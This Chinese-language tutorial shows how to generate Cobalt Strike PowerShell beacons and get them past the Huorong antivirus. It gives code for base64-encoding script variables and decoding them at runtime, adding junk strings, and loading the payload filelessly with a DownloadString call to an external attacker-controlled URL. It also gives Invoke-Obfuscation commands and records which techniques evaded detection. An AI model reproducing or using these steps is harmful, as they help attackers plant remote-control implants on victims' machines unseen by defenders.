演示:PowerShell-生成和上线
1.生成——启动cs,生成两种模式的powershell脚本
文件模式:执行ps1文件上线
命令模式:执行txt文件中的命令上线
2.文件模式powershell执行——两种方法
方法一:打开Win7以上自带的 Windows PowerShell ISE 来执行
成功上线:
方法二:打开命令行,启动PowerShell来执行
命令:powershell
命令:.\payload.ps1
3.命令模式powershell执行——直接将cs生成的txt文件中的命令复制到命令行执行
成功上线:
4.将两种模式的powershell上传到目标系统,都被火绒杀死
演示:PowerShell-文件模式-混淆过某绒
一、手工混淆:
变量进行编码后解码
解码代码:$xx=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))
1.将文件模式的powershell使用Windows PowerShell ISE 打开,将文件中变量进行base64编码.
2.在powershell中加上解码代码,保存
3.运行脚本,成功绕过火绒,cs正常上线。
Base64+混淆垃圾数据
1.还可以在编码的基础上在添加垃圾数据。在编码的开头末尾加入相同的值,这样杀毒软件就无法解码识别了。
演示:在编码加入 xiaoheizi ,再将xiaoheizi替换为:''
替换代码:$DoIt=$DoIt.Replace('xiaoheizi','')
2.混淆成功,再次执行。被火绒杀死了,这个火绒真的搞不懂,只经过base64编码的让过了,经过base64编码又混淆的反而被杀。
混淆无文件/分离/无文件落地
1.将文件中变量进行base64编码,然后上传到服务器网站目录下
2.将powershell中的变量替换为远程加载,因为变量经过base64编码,所以还有写入解码代码
加载文件:
$DoIt= ((New-Object System.Net.Webclient).DownloadString('http://xiaoheizi.fun/base64.txt'))
3.运行脚本,成功绕过火绒,cs正常上线。
二、项目混淆:Invoke-Obfuscation
介绍:是一款专门做 PowerShell 命令和脚本混淆的项目
下载:https://github.com/danielbohannon/Invoke-Obfuscation
使用:
进入powershell:powershell
加载模块:Import-Module ./Invoke-Obfuscation.psd1
运行程序:Invoke-Obfuscation
处理文件:set scriptpath ps1文件完整路径
处理代码:set scriptblock 'xxxx'
进入编码:encoding
选择编码:1-8
输出文件:out 输出名称 #不指定路径就保存在项目根目录
1.混淆演示:成功混淆
2.将脚本上传到目标系统,被火绒逮住了。所以说这些出名的项目基本都会被杀软记录,导致无法绕过。